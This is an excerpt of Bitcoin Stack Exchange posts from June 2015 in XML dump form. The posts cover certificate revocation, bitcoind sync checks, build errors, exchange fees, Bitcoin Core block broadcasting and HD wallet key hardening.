  <row Id="37798" PostTypeId="1" AcceptedAnswerId="37959" CreationDate="2015-06-05T06:10:17.063" Score="0" ViewCount="81" Body="&lt;p&gt;// , &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to go to &lt;a href=&quot;https://bankofamerica.com&quot; rel=&quot;nofollow&quot;&gt;https://bankofamerica.com&lt;/a&gt; and see it self-certified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to go to &lt;a href=&quot;https://amazon.com&quot; rel=&quot;nofollow&quot;&gt;https://amazon.com&lt;/a&gt; and see it self-certified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't mind going to &lt;a href=&quot;https://patriotact.wordpress.com&quot; rel=&quot;nofollow&quot;&gt;https://patriotact.wordpress.com&lt;/a&gt; and seeing it self-certified, because it doesn't take orders for money, or handle messages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, our government wants everything tagged with the legal ID of the site owner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do the above provenance requirements for compliance affect RevokeSSL's effectiveness? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use a certificate that is not self-signed, is there a point to using RevokeSSL on the blockchain? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Christopher Allen recently gave a presentation here: &lt;a href=&quot;http://www.meetup.com/SF-Bitcoin-Devs/events/222712738/&quot; rel=&quot;nofollow&quot;&gt;http://www.meetup.com/SF-Bitcoin-Devs/events/222712738/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I left with a feeling like I did not have a sure y/n on certain core issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I asking this question correctly? Is this specific enough? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can we add an SSL tag? &lt;/p&gt;&#xA;" OwnerUserId="18602" LastActivityDate="2015-06-13T22:21:38.590" Title="Does RevokeSSL Require Self-Signed Certs to Work?" Tags="|signature|ecommerce|ssl|security-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37799" PostTypeId="1" AcceptedAnswerId="37837" CreationDate="2015-06-05T06:40:14.783" Score="2" ViewCount="230" Body="&lt;p&gt;Is it possible to communicate with an electrum server using http? I'm interested in building a browser extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also see this message on the electrum chrome plugin&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unfortunately, all public Electrum servers have upgraded to a version of the protocol this extension does not support&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18985" LastActivityDate="2015-06-08T06:18:05.003" Title="Electrum server over http" Tags="|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37800" PostTypeId="1" CreationDate="2015-06-05T07:11:32.657" Score="-1" ViewCount="119" Body="&lt;p&gt;I am considering getting into mining myself. And I would like to compare different mining equipments and how many people are using each of the equipment. It seems like it is really hard to find the data on the market share of mining industry. If anyone knows or has any recommendations on which miner would be best for serious miners, please let me know. Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="26784" LastEditorUserId="5406" LastEditDate="2016-04-10T12:44:02.773" LastActivityDate="2016-04-10T12:44:02.773" Title="Is there any way that I could find out the market share of each miner manufacturer?" Tags="|mining-hardware|antminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37802" PostTypeId="2" ParentId="37797" CreationDate="2015-06-05T08:07:28.867" Score="0" Body="&lt;p&gt;I think that the problem is not only in program code. There is an ethical problem: How far can the leader of the community go wanting to change something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't it the same as in &quot;offline&quot; fiat world?&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-06-05T08:07:28.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37803" PostTypeId="2" ParentId="3257" CreationDate="2015-06-05T09:19:59.090" Score="3" Body="&lt;p&gt;Here and in the following articles I explain how to build and sign a Bitcoin transaction from scratch. There are also C code examples attached:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://davidederosa.com/basic-blockchain-programming/inside-transactions/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://davidederosa.com/basic-blockchain-programming/inside-transactions/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17067" LastEditorUserId="17067" LastEditDate="2021-02-25T19:08:32.337" LastActivityDate="2021-02-25T19:08:32.337" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="37805" PostTypeId="2" ParentId="37797" CreationDate="2015-06-05T12:36:54.410" Score="4" Body="&lt;p&gt;There are a number of more complex alternatives under discussion which involve more elastic limits (instead of the hard limit which currently exists), automatically adjusted limits based on some metric in the blockchain, or some combination of both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More complex alternatives mean more complex code and more potential for bugs. They certainly could and should be tested on testnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the &quot;just raise the hard limit&quot; option (and even with some of the other alternatives), most metrics you could glean from a testnet test aren't very interesting and are already easy to calculate. E.g., it's easy to understand what the worst case bandwidth, CPU, and disk space requirements are, and it's not too difficult to simulate (without testnet) how added block propagation time will (or will not) &lt;a href=&quot;http://gavinandresen.ninja/are-bigger-blocks-better-for-bigger-miners&quot; rel=&quot;nofollow&quot;&gt;affect miner efficiency&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the &lt;em&gt;external&lt;/em&gt; effects which are causing most of the controversy, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Will the additional requirements drive more people away from running full nodes, increasing centralization?&lt;/li&gt;&#xA;&lt;li&gt;Will &lt;a href=&quot;http://en.wikipedia.org/wiki/Moore%27s_law&quot; rel=&quot;nofollow&quot;&gt;Moore's Law&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Jakob_Nielsen_(usability_consultant)#Contributions&quot; rel=&quot;nofollow&quot;&gt;Nielsen's Law&lt;/a&gt;, and the current &lt;a href=&quot;http://en.wikipedia.org/wiki/Mark_Kryder#Kryder_rate&quot; rel=&quot;nofollow&quot;&gt;Kryder Rate&lt;/a&gt; continue into the future, and will they help to improve decentralization despite larger blocks?&lt;/li&gt;&#xA;&lt;li&gt;Will a &quot;don't do anything until it's an emergency&quot; approach drive people away from Bitcoin when tx confirmation times begin to &lt;a href=&quot;http://hashingit.com/analysis/34-bitcoin-traffic-bulletin&quot; rel=&quot;nofollow&quot;&gt;significantly increase&lt;/a&gt; (and Bitcoin Core nodes &lt;a href=&quot;https://medium.com/@octskyward/crash-landing-f5cc19908e32&quot; rel=&quot;nofollow&quot;&gt;begin crashing&lt;/a&gt;)? Or will tx space scarcity simply cause tx fees to gradually increase (which will also drive users away if they increase too much, increasing centralization)?&lt;/li&gt;&#xA;&lt;li&gt;What effect will the blocksize limit have in the future (e.g. on tx fees) as the block subsidy decreases?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm not trying to list all of the controversial questions/issues (I doubt I even know them), only to demonstrate that there are far more which can't be answered by testnet than can.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-06-05T12:36:54.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37807" PostTypeId="1" AcceptedAnswerId="37808" CreationDate="2015-06-05T15:27:17.690" Score="1" ViewCount="358" Body="&lt;p&gt;Can someone, please, direct me to the &lt;strong&gt;source code section(s) relevant for an Unsolicited Block Push&lt;/strong&gt; as described in the &lt;a href=&quot;https://bitcoin.org/en/developer-guide#term-unsolicited-block-push&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Developer Guide&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been going through &lt;code&gt;main.cpp&lt;/code&gt; and searched for the term &lt;em&gt;MSG_BLOCK&lt;/em&gt;, serving as a beagle for finding the correct place in the code. &lt;br/&gt;But as I'm reading further, it seems to me as if a freshly mined block is not appended to a inventory message, with &lt;em&gt;MSG_BLOCK&lt;/em&gt;, in order to send it as a &quot;package&quot; as response to a request &lt;a href=&quot;https://bitcoin.org/en/developer-reference#block&quot; rel=&quot;nofollow noreferrer&quot;&gt;(GetData Response)&lt;/a&gt; BUT is sent as a single message of this structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HIKzz.jpg&quot; alt=&quot;image is a cropped version of en-ibd-block.svg from Bitcoin Developer Guide&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me, up to now, the best canditate for &lt;em&gt;Unsolicited Block Push&lt;/em&gt; seems to be &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp#L2393&quot; rel=&quot;nofollow noreferrer&quot;&gt;main.cpp#L2393&lt;/a&gt; part of &lt;code&gt;main.cpp&lt;/code&gt; but I'm confused since I don't know if there is more of possibly relevant code (like &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp#L3830&quot; rel=&quot;nofollow noreferrer&quot;&gt;main.cpp#L3830&lt;/a&gt;) for &lt;em&gt;Unsolicited Block Push&lt;/em&gt; in &lt;code&gt;/src/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;So:&lt;/em&gt; In a first step, I'm looking for code that is relevant for broadcasting a newly found block. Can someone please help?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="24556" LastEditDate="2015-06-05T20:18:36.953" LastActivityDate="2015-06-19T18:06:14.197" Title="Block Broadcasting - Unsolicited Block Push" Tags="|block|message|c++|block-header|broadcast|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37808" PostTypeId="2" ParentId="37807" CreationDate="2015-06-05T17:13:02.080" Score="2" Body="&lt;p&gt;We can find all instances in the code where the client will send a &lt;code&gt;block&lt;/code&gt; message by searching for &lt;code&gt;PushMessage(&quot;block&quot;&lt;/code&gt;. This is the only match:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void static ProcessGetData(CNode* pfrom)&#xA;{&#xA;[...]&#xA;    pfrom-&amp;gt;PushMessage(&quot;block&quot;, block);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/3fce72eaa3ea75aa911e32c4d96313848338cede/src/main.cpp#L3830&quot; rel=&quot;nofollow&quot;&gt;(Source.)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that the standard client only ever sends a block message when specifically asked for it. That incoming &lt;code&gt;getdata&lt;/code&gt; message is probably triggered in turn by sending the remote node an &lt;code&gt;inv&lt;/code&gt; message. (Though that's not necessary - you can ask for a block that the other node hasn't advertised.) This is the code that sends inventory messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;// Message: inventory&#xA;//&#xA;vector&amp;lt;CInv&amp;gt; vInv;&#xA;vector&amp;lt;CInv&amp;gt; vInvWait;&#xA;{&#xA;    LOCK(pto-&amp;gt;cs_inventory);&#xA;    vInv.reserve(pto-&amp;gt;vInventoryToSend.size());&#xA;    vInvWait.reserve(pto-&amp;gt;vInventoryToSend.size());&#xA;    BOOST_FOREACH(const CInv&amp;amp; inv, pto-&amp;gt;vInventoryToSend)&#xA;    {&#xA;        // If the other node already knows the message, don't send&#xA;        if (pto-&amp;gt;setInventoryKnown.count(inv))&#xA;            continue;&#xA;&#xA;        // trickle out tx inv to protect privacy&#xA;        [...]&#xA;&#xA;        // returns true if remote node hasn't seen it&#xA;        if (pto-&amp;gt;setInventoryKnown.insert(inv).second)&#xA;        {&#xA;            // Add to the list of inventory messages to send&#xA;            vInv.push_back(inv);&#xA;            // If there's 1000 inventory messages queued up, send them&#xA;            // (Protocol limit is 50000 at a time.)&#xA;            if (vInv.size() &amp;gt;= 1000)&#xA;            {&#xA;                pto-&amp;gt;PushMessage(&quot;inv&quot;, vInv);&#xA;                vInv.clear();&#xA;            }&#xA;        }&#xA;    }&#xA;    pto-&amp;gt;vInventoryToSend = vInvWait;&#xA;}&#xA;// Send any that are left over.&#xA;if (!vInv.empty())&#xA;    pto-&amp;gt;PushMessage(&quot;inv&quot;, vInv);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/3fce72eaa3ea75aa911e32c4d96313848338cede/src/main.cpp#L4973&quot; rel=&quot;nofollow&quot;&gt;(Source.)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(pto represents the remote node in the above code.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the page you're looking at describes a behavior that you could implement, and that other clients will accept, but it doesn't describe the current core client behavior.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-06-19T18:06:14.197" LastActivityDate="2015-06-19T18:06:14.197" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="37809" PostTypeId="2" ParentId="36345" CreationDate="2015-06-05T18:49:00.623" Score="1" Body="&lt;p&gt;You can buy a Target or Walmart gift card and trade it for Bitcoin in &lt;a href=&quot;https://cardforcoin.com/&quot; rel=&quot;nofollow&quot;&gt;https://cardforcoin.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25279" LastActivityDate="2015-06-05T18:49:00.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37814" PostTypeId="2" ParentId="37796" CreationDate="2015-06-05T23:26:04.520" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=178330.msg1869406#msg1869406&quot; rel=&quot;nofollow&quot;&gt;Quote from: theymos [BitcoinTalk.org admin] on April 17, 2013, 11:20:31 PM&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'll probably release Satoshi's PMs and logged IPs addresses in ~8 years. This'd probably be of great historical interest. (Though he always used Tor, as far as I can tell.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-06-05T23:26:04.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37815" PostTypeId="1" CreationDate="2015-06-06T03:06:20.017" Score="21" ViewCount="19418" Body="&lt;p&gt;I installed the bitcoind and started it as daemon.&#xA;After 10hours I've tried &quot;du -h&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ubuntu@ip-172-31-37-93:~/.bitcoin$ du -h&#xA;16K     ./database&#xA;59M     ./blocks/index&#xA;29G     ./blocks&#xA;646M    ./chainstate&#xA;30G     . &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to know if it synced or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPD found an interesting script to monitor node sync status &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10859/how-to-check-bitcoind-block-chain-download-progress-level/12734#12734&quot;&gt;How to check Bitcoind block chain download progress level&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26327" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2022-03-12T00:41:46.433" Title="How to know if bitcoind synced?" Tags="|bitcoind|synchronization|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37816" PostTypeId="1" CreationDate="2015-06-06T06:15:23.870" Score="1" ViewCount="585" Body="&lt;p&gt;I am trying compile bitcoin on Debian 7 Wheezy (64bit) but I am encountering the error &lt;code&gt;Fixing libtool for -rpath problems.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed all dependencies&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install build-essential libtool autotools-dev autoconf pkg-config libssl-dev&#xA;sudo apt-get install libboost-all-dev&#xA;sudo apt-get install libdb4.8-dev libdb4.8++-dev (like that http://askubuntu.com/questions/290094/libdb4-8-is-no-longer-available&#xA;apt-get install miniupnpc&#xA;&#xA;$ ./autogen.sh&#xA;$ ./configure&#xA;...&#xA;configure: creating ./config.status&#xA;config.status: creating Makefile&#xA;config.status: creating libsecp256k1.pc&#xA;config.status: creating src/libsecp256k1-config.h&#xA;config.status: src/libsecp256k1-config.h is unchanged&#xA;config.status: executing depfiles commands&#xA;config.status: executing libtool commands&#xA;Fixing libtool for -rpath problems.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the solution to fix this error?&lt;/p&gt;&#xA;" OwnerUserId="26795" LastEditorUserId="18227" LastEditDate="2015-06-08T16:25:39.513" LastActivityDate="2015-06-08T16:25:39.513" Title="Fixing libtool for -rpath problems" Tags="|bitcoin-core|server|daemon|compiling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37818" PostTypeId="2" ParentId="37815" CreationDate="2015-06-06T07:46:39.007" Score="2" Body="&lt;p&gt;29G doesn't look after fully synced up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you should use bitcoin-cli (RPC command line app).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do &lt;code&gt;bitcoin-cli getinfo&lt;/code&gt; (check the &quot;blocks&quot; value and compare against blockchain or another full node) or &lt;code&gt;bitcoin-cli getchaintips&lt;/code&gt; (more complicated to read)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:~/node/bitcoin$ ./src/bitcoin-cli getblockchaininfo&#xA;{&#xA;    &quot;version&quot; : 109900,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 359646,  // &amp;lt;--------------&#xA;    &quot;timeoffset&quot; : 0,&#xA;    &quot;connections&quot; : 63,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 47589591153.62500763,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;keypoololdest&quot; : 1425569670,&#xA;    &quot;keypoolsize&quot; : 101,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;relayfee&quot; : 0.00001000,&#xA;    &quot;errors&quot; : &quot;This is a pre-release test build - use at your own risk - do not use for mining or merchant applications&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3697" LastEditorUserId="96487" LastEditDate="2020-02-24T13:48:13.117" LastActivityDate="2020-02-24T13:48:13.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="37819" PostTypeId="1" CreationDate="2015-06-06T13:12:48.120" Score="2" ViewCount="3772" Body="&lt;p&gt;Bitstamp allows deposits/withdrawals using SEPA (EUR only), but all traidings are done using USD. It is nowhere described what exchange rate is used when doing these deposits/withdrawals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some indications that amount of money lost in conversion may be significant:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The order book only offers bitcoin-dollar trading so conversion fees apply on deposits and withdrawals (the conversion spread can be queried by API). [1]&lt;/li&gt;&#xA;&lt;li&gt;Bitstamp has an EUR bank account in Slovenia to which I deposited euros, then it converted to USD. Then it converted the EUR deposit to USD but I checked the daily EURUSD forex range and Bitstamp converted my EUR to USD at a rate worse even the worst rate in the 24-hour daily range; I have to say, clever: another small profit source for them. [2]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does anybody know how big the EUR/USD spread at bitstamp really is? Is it significant?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;a href=&quot;http://blog.kraken.com/post/97016109057/what-does-it-really-cost-to-buy-and-sell-bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://blog.kraken.com/post/97016109057/what-does-it-really-cost-to-buy-and-sell-bitcoins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[2] &lt;a href=&quot;https://bitcointalk.org/index.php?topic=825459.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=825459.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26800" LastActivityDate="2015-08-13T10:12:52.247" Title="What is EUR to USD conversion rate at bitstamp?" Tags="|bitstamp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37820" PostTypeId="2" ParentId="37791" CreationDate="2015-06-06T14:05:19.063" Score="0" Body="&lt;p&gt;Test this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=550165.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=550165.0&lt;/a&gt; List of all related forums / chats / boards to Bitcoin &amp;amp; Alt-coins &amp;amp; E-money&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, there is a poll, where you can get an activity of users of bitcointalk on side places:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=738375&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=738375&lt;/a&gt; What forums, chats, boards do you use？&lt;/p&gt;&#xA;" OwnerUserId="26801" LastActivityDate="2015-06-06T14:05:19.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37824" PostTypeId="2" ParentId="37815" CreationDate="2015-06-06T18:50:17.717" Score="18" Body="&lt;p&gt;You can compare the block count from Blockexplorer with your local block count. Something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;$ wget -q -O- https://blockchain.info/q/getblockcount; echo&#xA;359721&#xA;$ bitcoin-cli -conf=/u0/bitcoin/bitcoin.conf getblockcount&#xA;359721&#xA;&lt;/pre&gt;&lt;/code&gt;&#xA;&lt;p&gt;As you can see above my node is synched since the counter is equal.&lt;/p&gt;&#xA;" OwnerUserId="26802" LastEditorUserId="26802" LastEditDate="2021-01-12T14:18:26.753" LastActivityDate="2021-01-12T14:18:26.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="37825" PostTypeId="1" AcceptedAnswerId="37948" CreationDate="2015-06-06T21:40:32.947" Score="1" ViewCount="236" Body="&lt;p&gt;I want to query Toshi's(&lt;a href=&quot;https://github.com/coinbase/toshi&quot; rel=&quot;nofollow&quot;&gt;https://github.com/coinbase/toshi&lt;/a&gt;) database but can't figure it out how to connect to it. It seems like it runs inside a docker container.&#xA;Appreciate any help.&lt;/p&gt;&#xA;" OwnerUserId="26327" LastActivityDate="2015-06-13T05:01:00.913" Title="How to query bitcoin database created by Toshi?" Tags="|database|toshi|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37826" PostTypeId="1" AcceptedAnswerId="37831" CreationDate="2015-06-07T03:00:24.873" Score="12" ViewCount="3411" Body="&lt;p&gt;Essentially, I am seeking to know where in an HD wallet tree structure should hardened keys be used. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Shouldn't all child keys of the master extended key be hardened? &lt;/li&gt;&#xA;&lt;li&gt;Should all extended public keys that are shared have the immediate parent key be a hardened key to ensure that a single compromised key doesn't compromise other keys?&lt;/li&gt;&#xA;&lt;li&gt;Should the whole HD wallet tree structure use hardened keys except for the leaf node keys? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-06-07T14:10:57.920" Title="Best Practices for hardened keys in HD wallets?" Tags="|bip32-hd-wallets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37827" PostTypeId="2" ParentId="36831" CreationDate="2015-06-07T04:07:50.810" Score="2" Body="&lt;p&gt;Other than shortening the hash used, there is no way of making the proof take less space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a side note, the hash can be made shorter by just using the first n bits.  The checksum of a bitcoin address (first 4 bytes of sha256(body))is made in this way.  I don't know why ripe160 is used instead of a truncated form of sha256 for the main body of the address.&lt;/p&gt;&#xA;" OwnerUserId="26805" LastActivityDate="2015-06-07T04:07:50.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37828" PostTypeId="2" ParentId="10859" CreationDate="2015-06-07T07:50:49.430" Score="1" Body="&lt;p&gt;The easiest way is to run birtcoind getinfo, then compare the nHeight to a block explorer, which should give you a ratio of how completed it is. Keep in mind that earlier blocks sync fastest, so 50% of black may not be 50% of the time required to sync.&lt;/p&gt;&#xA;" OwnerUserId="20748" LastActivityDate="2015-06-07T07:50:49.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37829" PostTypeId="2" ParentId="37785" CreationDate="2015-06-07T07:53:47.920" Score="4" Body="&lt;p&gt;The best way to do it is in person, with cash. Most other methods are traceable. Provided you don't live in the middle of nowhere, it's pretty easy to find at least someone nearby who's willing to buy, and if you're serious about anonymity that extra travel distance is probably a minor issue.&lt;/p&gt;&#xA;" OwnerUserId="20748" LastActivityDate="2015-06-07T07:53:47.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37830" PostTypeId="2" ParentId="37716" CreationDate="2015-06-07T09:40:04.560" Score="0" Body="&lt;p&gt;In case anyone else faces this decision I decided to go with the Blockchain.info API (&lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Primary factors:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Easy to use ruby gem and interface - I was able to create wallets and transactions through invoking a few simple methods within my Sinatra app&lt;/li&gt;&#xA;&lt;li&gt;Blockchain.info provide and utilise a stable wallet, recipient address which is easier and more intuitive to work with when starting out (e.g. easy to track senders and recipients against IDs)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Drawbacks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I couldn't find a way to link in the Testnet blockchain so had to experiment with real Bitcoins&lt;/li&gt;&#xA;&lt;li&gt;I was totally reliant on the Blockchain.info wallet and transaction structure. This was fine for a prototype/ experiment but for an actual MVP you would want to be able to integrate a wide range of wallet providers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="26739" LastActivityDate="2015-06-07T09:40:04.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37831" PostTypeId="2" ParentId="37826" CreationDate="2015-06-07T10:51:56.080" Score="10" Body="&lt;p&gt;The simple (and I &lt;em&gt;believe&lt;/em&gt; correct) answer is: use hardened keys everywhere except where a need for watching-only wallets is perceived, e.g. below the &quot;account&quot; level. A watching only-wallet in this scenario will be able to both create new addresses, and monitor the balance of an account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0044.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;BIP-44&lt;/a&gt;'s path is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;m/44'/0'/account'/change/index&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The clear result is that each account's xpub must be exported separately from a cold wall for import into a watching-only wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost every wallet I've looked at uses this method (the exception being Wallet32 for Android prior to v0.2.5 released May 15 2014). Reference: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1000544.msg10862297#msg10862297&quot; rel=&quot;noreferrer&quot;&gt;this bitcointalk post&lt;/a&gt;, which links to &lt;a href=&quot;https://onedrive.live.com/redir?resid=584F122BA17116EE%21313&quot; rel=&quot;noreferrer&quot;&gt;this spreadsheet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edited to add: Also of some relevance is the level at which an xpub is exported. Almost every wallet which supports xpub exports does so at the account level (same reference as above), which includes both the external and internal (change) chains of a single account. (The exception is MyCelium for iOS, however this is &lt;a href=&quot;https://bitcointalk.org/index.php?topic=965932.msg10564840#msg10564840&quot; rel=&quot;noreferrer&quot;&gt;considered a bug&lt;/a&gt; by the MyCelium devs.)&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="25088" LastEditDate="2015-06-07T14:10:57.920" LastActivityDate="2015-06-07T14:10:57.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
